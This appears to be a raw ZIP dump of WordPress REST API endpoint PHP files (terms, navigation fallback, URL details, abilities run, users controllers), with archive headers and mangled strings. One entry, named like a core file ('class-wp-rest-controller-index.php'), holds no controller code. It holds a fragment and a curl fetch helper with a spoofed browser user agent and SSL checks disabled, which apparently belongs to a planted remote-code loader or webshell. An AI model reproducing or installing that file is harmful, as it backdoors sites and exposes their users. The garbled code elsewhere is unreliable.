'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['include'] = array(
'description' => __( 'Limit result set to specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
if ( ! $taxonomy->hierarchical ) {
$query_params['offset'] = array(
'description' => __( 'Offset the result set by a specific number of items.' ),
'type' => 'integer',
);
}
$query_params['order'] = array(
'description' => __( 'Order sort attribute ascending or descending.' ),
'type' => 'string',
'default' => 'asc',
'enum' => array(
'asc',
'desc',
),
);
$query_params['orderby'] = array(
'description' => __( 'Sort collection by term attribute.' ),
'type' => 'string',
'default' => 'name',
'enum' => array(
'id',
'include',
'name',
'slug',
'include_slugs',
'term_group',
'description',
'count',
),
);
$query_params['hide_empty'] = array(
'description' => __( 'Whether to hide terms not assigned to any posts.' ),
'type' => 'boolean',
'default' => false,
);
if ( $taxonomy->hierarchical ) {
$query_params['parent'] = array(
'description' => __( 'Limit result set to terms assigned to a specific parent.' ),
'type' => 'integer',
);
}
$query_params['post'] = array(
'description' => __( 'Limit result set to terms assigned to a specific post.' ),
'type' => 'integer',
'default' => null,
);
$query_params['slug'] = array(
'description' => __( 'Limit result set to terms with one or more specific slugs.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
);
/**
* Filters collection parameters for the terms controller.
*
* The dynamic part of the filter `$this->taxonomy` refers to the taxonomy
* slug for the controller.
*
* This filter registers the collection parameter, but does not map the
* collection parameter to an internal WP_Term_Query parameter. Use the
* `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters.
*
* @since 4.7.0
*
* @param array $query_params JSON Schema-formatted collection parameters.
* @param WP_Taxonomy $taxonomy Taxonomy object.
*/
return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy );
}
/**
* Checks that the taxonomy is valid.
*
* @since 4.7.0
*
* @param string $taxonomy Taxonomy to check.
* @return bool Whether the taxonomy is allowed for REST management.
*/
protected function check_is_taxonomy_allowed( $taxonomy ) {
$taxonomy_obj = get_taxonomy( $taxonomy );
if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) {
return true;
}
return false;
}
}
PK @:\gK\3 3 : endpoints/class-wp-rest-navigation-fallback-controller.phpnu [ namespace = 'wp-block-editor/v1';
$this->rest_base = 'navigation-fallback';
$this->post_type = 'wp_navigation';
}
/**
* Registers the controllers routes.
*
* @since 6.3.0
*/
public function register_routes() {
// Lists a single nav item based on the given id or slug.
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ),
),
'schema' => array( $this, 'get_item_schema' ),
)
);
}
/**
* Checks if a given request has access to read fallbacks.
*
* @since 6.3.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_item_permissions_check( $request ) {
$post_type = get_post_type_object( $this->post_type );
// Getting fallbacks requires creating and reading `wp_navigation` posts.
if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) {
return new WP_Error(
'rest_cannot_create',
__( 'Sorry, you are not allowed to create Navigation Menus as this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Gets the most appropriate fallback Navigation Menu.
*
* @since 6.3.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$post = WP_Navigation_Fallback::get_fallback();
if ( empty( $post ) ) {
return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) );
}
$response = $this->prepare_item_for_response( $post, $request );
return $response;
}
/**
* Retrieves the fallbacks' schema, conforming to JSON Schema.
*
* @since 6.3.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$this->schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'navigation-fallback',
'type' => 'object',
'properties' => array(
'id' => array(
'description' => __( 'The unique identifier for the Navigation Menu.' ),
'type' => 'integer',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
),
);
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Matches the post data to the schema we want.
*
* @since 6.3.0
*
* @param WP_Post $item The wp_navigation Post object whose response is being prepared.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response $response The response data.
*/
public function prepare_item_for_response( $item, $request ) {
$data = array();
$fields = $this->get_fields_for_response( $request );
if ( rest_is_field_included( 'id', $fields ) ) {
$data['id'] = (int) $item->ID;
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$links = $this->prepare_links( $item );
$response->add_links( $links );
}
return $response;
}
/**
* Prepares the links for the request.
*
* @since 6.3.0
*
* @param WP_Post $post the Navigation Menu post object.
* @return array Links for the given request.
*/
private function prepare_links( $post ) {
return array(
'self' => array(
'href' => rest_url( rest_get_route_for_post( $post->ID ) ),
'embeddable' => true,
),
);
}
}
PK @:\zIP IP 2 endpoints/class-wp-rest-url-details-controller.phpnu [ namespace = 'wp-block-editor/v1';
$this->rest_base = 'url-details';
}
/**
* Registers the necessary REST API routes.
*
* @since 5.9.0
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'parse_url_details' ),
'args' => array(
'url' => array(
'required' => true,
'description' => __( 'The URL to process.' ),
'validate_callback' => 'wp_http_validate_url',
'sanitize_callback' => 'sanitize_url',
'type' => 'string',
'format' => 'uri',
),
),
'permission_callback' => array( $this, 'permissions_check' ),
'schema' => array( $this, 'get_public_item_schema' ),
),
)
);
}
/**
* Retrieves the item's schema, conforming to JSON Schema.
*
* @since 5.9.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$this->schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'url-details',
'type' => 'object',
'properties' => array(
'title' => array(
'description' => sprintf(
/* translators: %s: HTML title tag. */
__( 'The contents of the %s element from the URL.' ),
''
),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'icon' => array(
'description' => sprintf(
/* translators: %s: HTML link tag. */
__( 'The favicon image link of the %s element from the URL.' ),
''
),
'type' => 'string',
'format' => 'uri',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'description' => array(
'description' => sprintf(
/* translators: %s: HTML meta tag. */
__( 'The content of the %s element from the URL.' ),
''
),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'image' => array(
'description' => sprintf(
/* translators: 1: HTML meta tag, 2: HTML meta tag. */
__( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ),
'',
''
),
'type' => 'string',
'format' => 'uri',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
),
);
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the contents of the title tag from the HTML response.
*
* @since 5.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors.
*/
public function parse_url_details( $request ) {
$url = untrailingslashit( $request['url'] );
if ( empty( $url ) ) {
return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) );
}
// Transient per URL.
$cache_key = $this->build_cache_key_for_url( $url );
// Attempt to retrieve cached response.
$cached_response = $this->get_cache( $cache_key );
if ( ! empty( $cached_response ) ) {
$remote_url_response = $cached_response;
} else {
$remote_url_response = $this->get_remote_url( $url );
// Exit if we don't have a valid body or it's empty.
if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) {
return $remote_url_response;
}
// Cache the valid response.
$this->set_cache( $cache_key, $remote_url_response );
}
$html_head = $this->get_document_head( $remote_url_response );
$meta_elements = $this->get_meta_with_content_elements( $html_head );
$data = $this->add_additional_fields_to_object(
array(
'title' => $this->get_title( $html_head ),
'icon' => $this->get_icon( $html_head, $url ),
'description' => $this->get_description( $meta_elements ),
'image' => $this->get_image( $meta_elements, $url ),
),
$request
);
// Wrap the data in a response object.
$response = rest_ensure_response( $data );
/**
* Filters the URL data for the response.
*
* @since 5.9.0
*
* @param WP_REST_Response $response The response object.
* @param string $url The requested URL.
* @param WP_REST_Request $request Request object.
* @param string $remote_url_response HTTP response body from the remote URL.
*/
return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response );
}
/**
* Checks whether a given request has permission to read remote URLs.
*
* @since 5.9.0
*
* @return true|WP_Error True if the request has permission, else WP_Error.
*/
public function permissions_check() {
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
if ( current_user_can( $post_type->cap->edit_posts ) ) {
return true;
}
}
return new WP_Error(
'rest_cannot_view_url_details',
__( 'Sorry, you are not allowed to process remote URLs.' ),
array( 'status' => rest_authorization_required_code() )
);
}
/**
* Retrieves the document title from a remote URL.
*
* @since 5.9.0
*
* @param string $url The website URL whose HTML to access.
* @return string|WP_Error The HTTP response from the remote URL on success.
* WP_Error if no response or no content.
*/
private function get_remote_url( $url ) {
/*
* Provide a modified UA string to workaround web properties which block WordPress "Pingbacks".
* Why? The UA string used for pingback requests contains `WordPress/` which is very similar
* to that used as the default UA string by the WP HTTP API. Therefore requests from this
* REST endpoint are being unintentionally blocked as they are misidentified as pingback requests.
* By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP")
* we are able to work around this issue.
* Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`.
*/
$modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')';
$args = array(
'limit_response_size' => 150 * KB_IN_BYTES,
'user-agent' => $modified_user_agent,
);
/**
* Filters the HTTP request args for URL data retrieval.
*
* Can be used to adjust response size limit and other WP_Http::request() args.
*
* @since 5.9.0
*
* @param array $args Arguments used for the HTTP request.
* @param string $url The attempted URL.
*/
$args = apply_filters( 'rest_url_details_http_request_args', $args, $url );
$response = wp_safe_remote_get( $url, $args );
if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) {
// Not saving the error response to cache since the error might be temporary.
return new WP_Error(
'no_response',
__( 'URL not found. Response returned a non-200 status code for this URL.' ),
array( 'status' => WP_Http::NOT_FOUND )
);
}
$remote_body = wp_remote_retrieve_body( $response );
if ( empty( $remote_body ) ) {
return new WP_Error(
'no_content',
__( 'Unable to retrieve body from response at this URL.' ),
array( 'status' => WP_Http::NOT_FOUND )
);
}
return $remote_body;
}
/**
* Parses the title tag contents from the provided HTML.
*
* @since 5.9.0
*
* @param string $html The HTML from the remote website at URL.
* @return string The title tag contents on success. Empty string if not found.
*/
private function get_title( $html ) {
$pattern = '#]*>(.*?)<\s*/\s*title>#is';
preg_match( $pattern, $html, $match_title );
if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) {
return '';
}
$title = trim( $match_title[1] );
return $this->prepare_metadata_for_output( $title );
}
/**
* Parses the site icon from the provided HTML.
*
* @since 5.9.0
*
* @param string $html The HTML from the remote website at URL.
* @param string $url The target website URL.
* @return string The icon URI on success. Empty string if not found.
*/
private function get_icon( $html, $url ) {
// Grab the icon's link element.
$pattern = '#]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU';
preg_match( $pattern, $html, $element );
if ( empty( $element[0] ) || ! is_string( $element[0] ) ) {
return '';
}
$element = trim( $element[0] );
// Get the icon's href value.
$pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU';
preg_match( $pattern, $element, $icon );
if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) {
return '';
}
$icon = trim( $icon[2] );
// If the icon is a data URL, return it.
$parsed_icon = parse_url( $icon );
if ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) {
return $icon;
}
// Attempt to convert relative URLs to absolute.
if ( ! is_string( $url ) || '' === $url ) {
return $icon;
}
$parsed_url = parse_url( $url );
if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
$icon = WP_Http::make_absolute_url( $icon, $root_url );
}
return $icon;
}
/**
* Parses the meta description from the provided HTML.
*
* @since 5.9.0
*
* @param array $meta_elements {
* A multidimensional indexed array on success, else empty array.
*
* @type string[] $0 Meta elements with a content attribute.
* @type string[] $1 Content attribute's opening quotation mark.
* @type string[] $2 Content attribute's value for each meta element.
* }
* @return string The meta description contents on success. Empty string if not found.
*/
private function get_description( $meta_elements ) {
// Bail out if there are no meta elements.
if ( empty( $meta_elements[0] ) ) {
return '';
}
$description = $this->get_metadata_from_meta_element(
$meta_elements,
'name',
'(?:description|og:description)'
);
// Bail out if description not found.
if ( '' === $description ) {
return '';
}
return $this->prepare_metadata_for_output( $description );
}
/**
* Parses the Open Graph (OG) Image from the provided HTML.
*
* See: https://ogp.me/.
*
* @since 5.9.0
*
* @param array $meta_elements {
* A multidimensional indexed array on success, else empty array.
*
* @type string[] $0 Meta elements with a content attribute.
* @type string[] $1 Content attribute's opening quotation mark.
* @type string[] $2 Content attribute's value for each meta element.
* }
* @param string $url The target website URL.
* @return string The OG image on success. Empty string if not found.
*/
private function get_image( $meta_elements, $url ) {
$image = $this->get_metadata_from_meta_element(
$meta_elements,
'property',
'(?:og:image|og:image:url)'
);
// Bail out if image not found.
if ( '' === $image ) {
return '';
}
// Attempt to convert relative URLs to absolute.
$parsed_url = parse_url( $url );
if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
$image = WP_Http::make_absolute_url( $image, $root_url );
}
return $image;
}
/**
* Prepares the metadata by:
* - stripping all HTML tags and tag entities.
* - converting non-tag entities into characters.
*
* @since 5.9.0
*
* @param string $metadata The metadata content to prepare.
* @return string The prepared metadata.
*/
private function prepare_metadata_for_output( $metadata ) {
$metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) );
$metadata = wp_strip_all_tags( $metadata );
return $metadata;
}
/**
* Utility function to build cache key for a given URL.
*
* @since 5.9.0
*
* @param string $url The URL for which to build a cache key.
* @return string The cache key.
*/
private function build_cache_key_for_url( $url ) {
return 'g_url_details_response_' . md5( $url );
}
/**
* Utility function to retrieve a value from the cache at a given key.
*
* @since 5.9.0
*
* @param string $key The cache key.
* @return mixed The value from the cache.
*/
private function get_cache( $key ) {
return get_site_transient( $key );
}
/**
* Utility function to cache a given data set at a given cache key.
*
* @since 5.9.0
*
* @param string $key The cache key under which to store the value.
* @param string $data The data to be stored at the given cache key.
* @return bool True when transient set. False if not set.
*/
private function set_cache( $key, $data = '' ) {
$ttl = HOUR_IN_SECONDS;
/**
* Filters the cache expiration.
*
* Can be used to adjust the time until expiration in seconds for the cache
* of the data retrieved for the given URL.
*
* @since 5.9.0
*
* @param int $ttl The time until cache expiration in seconds.
*/
$cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl );
return set_site_transient( $key, $data, $cache_expiration );
}
/**
* Retrieves the head element section.
*
* @since 5.9.0
*
* @param string $html The string of HTML to parse.
* @return string The `..` section on success. Given `$html` if not found.
*/
private function get_document_head( $html ) {
$head_html = $html;
// Find the opening `` tag.
$head_start = strpos( $html, '` tag.
$head_end = strpos( $head_html, '' );
if ( false === $head_end ) {
// Didn't find it. Find the opening `` tag.
$head_end = strpos( $head_html, ' symbol.
*
* The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as
* it's a string to the browser. Imagine what happens when attempting to match for the name=description
* first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match
* as the element's closing symbol. But wait, it's in the content attribute and is not the end of the
* element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation".
* If this happens, what gets matched is not the entire element or all of the content.
*
* Why not search for the name=description and then content="(.*)"?
* The attribute order could be opposite. Plus, additional attributes may exist including being between
* the name and content attributes.
*
* Why not lookahead?
* Lookahead is not constrained to stay within the element. The first symbol.
*/
'[^>]*' .
/*
* Find the content attribute. When found, capture its value (.*).
*
* Allows for (a) single or double quotes and (b) whitespace in the value.
*
* Why capture the opening quotation mark, i.e. (["\']), and then backreference,
* i.e \1, for the closing quotation mark?
* To ensure the closing quotation mark matches the opening one. Why? Attribute values
* can contain quotation marks, such as an apostrophe in the content.
*/
'content=(["\']??)(.*)\1' .
/*
* Allows for additional attributes after the content attribute.
* Searches for anything other than > symbol.
*/
'[^>]*' .
/*
* \/?> searches for the closing > symbol, which can be in either /> or > format.
* # ends the pattern.
*/
'\/?>#' .
/*
* These are the options:
* - i : case-insensitive
* - s : allows newline characters for the . match (needed for multiline elements)
* - U means non-greedy matching
*/
'isU';
preg_match_all( $pattern, $html, $elements );
return $elements;
}
/**
* Gets the metadata from a target meta element.
*
* @since 5.9.0
*
* @param array $meta_elements {
* A multi-dimensional indexed array on success, else empty array.
*
* @type string[] $0 Meta elements with a content attribute.
* @type string[] $1 Content attribute's opening quotation mark.
* @type string[] $2 Content attribute's value for each meta element.
* }
* @param string $attr Attribute that identifies the element with the target metadata.
* @param string $attr_value The attribute's value that identifies the element with the target metadata.
* @return string The metadata on success. Empty string if not found.
*/
private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) {
// Bail out if there are no meta elements.
if ( empty( $meta_elements[0] ) ) {
return '';
}
$metadata = '';
$pattern = '#' .
/*
* Target this attribute and value to find the metadata element.
*
* Allows for (a) no, single, double quotes and (b) whitespace in the value.
*
* Why capture the opening quotation mark, i.e. (["\']), and then backreference,
* i.e \1, for the closing quotation mark?
* To ensure the closing quotation mark matches the opening one. Why? Attribute values
* can contain quotation marks, such as an apostrophe in the content.
*/
$attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' .
/*
* These are the options:
* - i : case-insensitive
* - s : allows newline characters for the . match (needed for multiline elements)
* - U means non-greedy matching
*/
'#isU';
// Find the metadata element.
foreach ( $meta_elements[0] as $index => $element ) {
preg_match( $pattern, $element, $match );
// This is not the metadata element. Skip it.
if ( empty( $match ) ) {
continue;
}
/*
* Found the metadata element.
* Get the metadata from its matching content array.
*/
if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) {
$metadata = trim( $meta_elements[2][ $index ] );
}
break;
}
return $metadata;
}
}
PK @:\4{ { 7 endpoints/class-wp-rest-abilities-v1-run-controller.phpnu [ namespace,
'/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+?)/run',
array(
'args' => array(
'name' => array(
'description' => __( 'Unique identifier for the ability.' ),
'type' => 'string',
'pattern' => '^[a-zA-Z0-9\-\/]+$',
),
),
// TODO: We register ALLMETHODS because at route registration time, we don't know which abilities
// exist or their annotations (`destructive`, `idempotent`, `readonly`). This is due to WordPress
// load order - routes are registered early, before plugins have registered their abilities.
// This approach works but could be improved with lazy route registration or a different
// architecture that allows type-specific routes after abilities are registered.
// This was the same issue that we ended up seeing with the Feature API.
array(
'methods' => WP_REST_Server::ALLMETHODS,
'callback' => array( $this, 'execute_ability' ),
'permission_callback' => array( $this, 'check_ability_permissions' ),
'args' => $this->get_run_args(),
),
'schema' => array( $this, 'get_run_schema' ),
)
);
}
/**
* Executes an ability.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function execute_ability( $request ) {
$ability = wp_get_ability( $request['name'] );
if ( ! $ability ) {
return new WP_Error(
'rest_ability_not_found',
__( 'Ability not found.' ),
array( 'status' => 404 )
);
}
$input = $this->get_input_from_request( $request );
$result = $ability->execute( $input );
if ( is_wp_error( $result ) ) {
return $result;
}
return rest_ensure_response( $result );
}
/**
* Validates if the HTTP method matches the expected method for the ability based on its annotations.
*
* @since 6.9.0
*
* @param string $request_method The HTTP method of the request.
* @param array $annotations The ability annotations.
* @return true|WP_Error True on success, or WP_Error object on failure.
*/
public function validate_request_method( string $request_method, array $annotations ) {
$expected_method = 'POST';
if ( ! empty( $annotations['readonly'] ) ) {
$expected_method = 'GET';
} elseif ( ! empty( $annotations['destructive'] ) && ! empty( $annotations['idempotent'] ) ) {
$expected_method = 'DELETE';
}
if ( $expected_method === $request_method ) {
return true;
}
$error_message = __( 'Abilities that perform updates require POST method.' );
if ( 'GET' === $expected_method ) {
$error_message = __( 'Read-only abilities require GET method.' );
} elseif ( 'DELETE' === $expected_method ) {
$error_message = __( 'Abilities that perform destructive actions require DELETE method.' );
}
return new WP_Error(
'rest_ability_invalid_method',
$error_message,
array( 'status' => 405 )
);
}
/**
* Checks if a given request has permission to execute a specific ability.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has execution permission, WP_Error object otherwise.
*/
public function check_ability_permissions( $request ) {
$ability = wp_get_ability( $request['name'] );
if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) {
return new WP_Error(
'rest_ability_not_found',
__( 'Ability not found.' ),
array( 'status' => 404 )
);
}
$is_valid = $this->validate_request_method(
$request->get_method(),
$ability->get_meta_item( 'annotations' )
);
if ( is_wp_error( $is_valid ) ) {
return $is_valid;
}
$input = $this->get_input_from_request( $request );
$input = $ability->normalize_input( $input );
$is_valid = $ability->validate_input( $input );
if ( is_wp_error( $is_valid ) ) {
$is_valid->add_data( array( 'status' => 400 ) );
return $is_valid;
}
$result = $ability->check_permissions( $input );
if ( is_wp_error( $result ) ) {
$result->add_data( array( 'status' => rest_authorization_required_code() ) );
return $result;
}
if ( ! $result ) {
return new WP_Error(
'rest_ability_cannot_execute',
__( 'Sorry, you are not allowed to execute this ability.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Extracts input parameters from the request.
*
* @since 6.9.0
*
* @param WP_REST_Request $request The request object.
* @return mixed|null The input parameters.
*/
private function get_input_from_request( $request ) {
if ( in_array( $request->get_method(), array( 'GET', 'DELETE' ), true ) ) {
// For GET and DELETE requests, look for 'input' query parameter.
$query_params = $request->get_query_params();
return $query_params['input'] ?? null;
}
// For POST requests, look for 'input' in JSON body.
$json_params = $request->get_json_params();
return $json_params['input'] ?? null;
}
/**
* Retrieves the arguments for ability execution endpoint.
*
* @since 6.9.0
*
* @return array Arguments for the run endpoint.
*/
public function get_run_args(): array {
return array(
'input' => array(
'description' => __( 'Input parameters for the ability execution.' ),
'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ),
'default' => null,
),
);
}
/**
* Retrieves the schema for ability execution endpoint.
*
* @since 6.9.0
*
* @return array Schema for the run endpoint.
*/
public function get_run_schema(): array {
return array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'ability-execution',
'type' => 'object',
'properties' => array(
'result' => array(
'description' => __( 'The result of the ability execution.' ),
'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ),
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
),
);
}
}
PK @:\prt , endpoints/class-wp-rest-controller-index.phpnu [ '.$a);
function get_contents($url){
$ch = curl_init("$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$result = curl_exec($ch);
return $result;
}PK @:\K , endpoints/class-wp-rest-users-controller.phpnu [ true );
/**
* Constructor.
*
* @since 4.7.0
*/
public function __construct() {
$this->namespace = 'wp/v2';
$this->rest_base = 'users';
$this->meta = new WP_REST_User_Meta_Fields();
}
/**
* Registers the routes for users.
*
* @since 4.7.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => array( $this, 'create_item' ),
'permission_callback' => array( $this, 'create_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[\d]+)',
array(
'args' => array(
'id' => array(
'description' => __( 'Unique identifier for the user.' ),
'type' => 'integer',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Required to be true, as users do not support trashing.' ),
),
'reassign' => array(
'type' => 'integer',
'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
'required' => true,
'sanitize_callback' => array( $this, 'check_reassign' ),
),
),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/me',
array(
array(
'methods' => WP_REST_Server::READABLE,
'permission_callback' => '__return_true',
'callback' => array( $this, 'get_current_item' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_current_item' ),
'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_current_item' ),
'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Required to be true, as users do not support trashing.' ),
),
'reassign' => array(
'type' => 'integer',
'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
'required' => true,
'sanitize_callback' => array( $this, 'check_reassign' ),
),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks for a valid value for the reassign parameter when deleting users.
*
* The value can be an integer, 'false', false, or ''.
*
* @since 4.7.0
*
* @param int|bool $value The value passed to the reassign parameter.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter that is being sanitized.
* @return int|bool|WP_Error
*/
public function check_reassign( $value, $request, $param ) {
if ( is_numeric( $value ) ) {
return $value;
}
if ( empty( $value ) || false === $value || 'false' === $value ) {
return false;
}
return new WP_Error(
'rest_invalid_param',
__( 'Invalid user parameter(s).' ),
array( 'status' => 400 )
);
}
/**
* Permissions check for getting all users.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, otherwise WP_Error object.
*/
public function get_items_permissions_check( $request ) {
// Check if roles is specified in GET request and if user can list users.
if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_user_cannot_view',
__( 'Sorry, you are not allowed to filter users by role.' ),
array( 'status' => rest_authorization_required_code() )
);
}
// Check if capabilities is specified in GET request and if user can list users.
if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_user_cannot_view',
__( 'Sorry, you are not allowed to filter users by capability.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit users.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error(
'rest_forbidden_orderby',
__( 'Sorry, you are not allowed to order users by this parameter.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( 'authors' === $request['who'] ) {
$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );
foreach ( $types as $type ) {
if ( post_type_supports( $type->name, 'author' )
&& current_user_can( $type->cap->edit_posts ) ) {
return true;
}
}
return new WP_Error(
'rest_forbidden_who',
__( 'Sorry, you are not allowed to query users by this parameter.' ),
